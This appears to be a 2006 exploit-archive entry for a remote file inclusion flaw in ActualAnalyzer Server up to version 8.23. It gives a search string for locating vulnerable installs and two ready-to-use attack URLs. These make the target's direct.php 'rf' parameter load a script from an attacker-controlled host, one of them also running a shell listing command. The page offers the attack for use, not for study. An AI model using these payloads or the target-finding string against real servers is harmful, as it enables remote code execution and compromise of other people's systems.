[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : ActualAnalyzer Server <= 8.23 (rf) Remote File Include Vulnerability
# Published : 2006-05-08
# Author : Aesthetico
# Previous Title : Claroline e-Learning 1.75 (ldap.inc.php) Remote File Inclusion Exploit
# Next Title : Dokeos LMS <= 1.6.4 (authldap.php) Remote File Include Exploit
Title: ActualAnalyzer Server <=8.23 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: ActualScripts
URL: http://actualscripts.com
-----------------------------------------------------------------
Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "ActualScripts, Company. All rights reserved."
-----------------------------------------------------------------
Exploitation:
/direct.php?rf=http://www.yourspace.com/yourscript.php?
/direct.php?rf=http://www.yourspace.com/yourscript.txt?&ls%20-laF
# www.Syue.com [2006-05-08]